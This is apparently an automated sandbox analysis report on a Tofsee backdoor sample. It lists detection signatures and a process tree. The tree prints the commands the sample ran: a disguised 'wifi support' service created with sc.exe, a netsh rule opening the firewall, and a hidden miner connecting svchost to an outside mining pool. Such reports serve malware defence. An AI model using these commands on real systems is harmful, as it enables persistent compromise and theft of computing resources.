Overview

overview

10

Static

static

73b0253705...a9.exe

windows7_x64

10

73b0253705...a9.exe

windows10_x64

10

Analysis

  • max time kernel
    148s
  • max time network
    155s
  • platform
    windows7_x64
  • resource
    win7v20201028
  • submitted
    14/11/2020, 17:54

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    73b0253705c67bb95b5290a9e682b96eff9f4585f9d867f791f8f6886c58c1a9.exe
  • Size 13.8MB
  • Sample201114-llbs67tmvx
  • SHA256 73b0253705c67bb95b5290a9e682b96eff9f4585f9d867f791f8f6886c58c1a9
  • MD5 SHA1 SHA512
Score
10/10
tofseeevasionpersistencetrojan

Malware Config

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

    trojantofsee
  • Windows security bypass 2 TTPs
    evasiontrojan
  • Creates new service(s) 1 TTPs
    persistence
  • Executes dropped EXE 1 IoCs
  • Modifies Windows Firewall 1 TTPs
    evasion
  • Sets service image path in registry 2 TTPs
    persistence
  • Deletes itself 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Modifies service 2 TTPs 6 IoCs
    persistence
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Modifies data under HKEY_USERS 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\73b0253705c67bb95b5290a9e682b96eff9f4585f9d867f791f8f6886c58c1a9.exe
    "C:\Users\Admin\AppData\Local\Temp\73b0253705c67bb95b5290a9e682b96eff9f4585f9d867f791f8f6886c58c1a9.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2008
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\bbpqbwdx\
      2⤵
        PID:1604
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\eqpdoyga.exe" C:\Windows\SysWOW64\bbpqbwdx\
        2⤵
          PID:340
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create bbpqbwdx binPath= "C:\Windows\SysWOW64\bbpqbwdx\eqpdoyga.exe /d\"C:\Users\Admin\AppData\Local\Temp\73b0253705c67bb95b5290a9e682b96eff9f4585f9d867f791f8f6886c58c1a9.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
            PID:1672
          • C:\Windows\SysWOW64\sc.exe
            "C:\Windows\System32\sc.exe" description bbpqbwdx "wifi internet conection"
            2⤵
              PID:988
            • C:\Windows\SysWOW64\sc.exe
              "C:\Windows\System32\sc.exe" start bbpqbwdx
              2⤵
                PID:1924
              • C:\Windows\SysWOW64\netsh.exe
                "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                2⤵
                • Modifies service
                PID:1236
            • C:\Windows\SysWOW64\bbpqbwdx\eqpdoyga.exe
              C:\Windows\SysWOW64\bbpqbwdx\eqpdoyga.exe /d"C:\Users\Admin\AppData\Local\Temp\73b0253705c67bb95b5290a9e682b96eff9f4585f9d867f791f8f6886c58c1a9.exe"
              1⤵
              • Executes dropped EXE
              • Suspicious use of SetThreadContext
              • Suspicious use of WriteProcessMemory
              PID:700
              • C:\Windows\SysWOW64\svchost.exe
                svchost.exe
                2⤵
                • Deletes itself
                • Drops file in System32 directory
                • Modifies service
                • Suspicious use of SetThreadContext
                • Modifies data under HKEY_USERS
                • Suspicious use of WriteProcessMemory
                PID:1656
                • C:\Windows\SysWOW64\svchost.exe
                  svchost.exe -o msr.pool.gntl.co.uk:40005 -u 5nFN8BzQ1qP3PkbVHj5ooXSENsHFHMAj51jbA7YySkuEH8nBDYWHhhFQjiwcVqb9H8Soz3YTG6SijYVz1ntV1TAa5qAMCwu+60000 -p x -k
                  3⤵
                  • Suspicious use of AdjustPrivilegeToken
                  PID:596

            Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  memory/596-22-0x00000000001C0000-0x00000000002B1000-memory.dmp
                  Download

                  memory/596-21-0x00000000001C0000-0x00000000002B1000-memory.dmp
                  Download

                  memory/700-11-0x0000000002920000-0x0000000002931000-memory.dmp
                  Download

                  memory/1656-17-0x00000000003D0000-0x00000000003E0000-memory.dmp
                  Download

                  memory/1656-12-0x00000000000C0000-0x00000000000D5000-memory.dmp
                  Download

                  memory/1656-15-0x0000000001B50000-0x0000000001D5F000-memory.dmp
                  Download

                  memory/1656-16-0x0000000000320000-0x0000000000326000-memory.dmp
                  Download

                  memory/1656-18-0x00000000003E0000-0x00000000003E5000-memory.dmp
                  Download

                  memory/1656-19-0x00000000058C0000-0x0000000005CCB000-memory.dmp
                  Download

                  memory/1656-20-0x00000000003F0000-0x00000000003F7000-memory.dmp
                  Download

                  memory/2008-0-0x0000000002789000-0x000000000278A000-memory.dmp
                  Download

                  memory/2008-1-0x0000000003C60000-0x0000000003C71000-memory.dmp
                  Download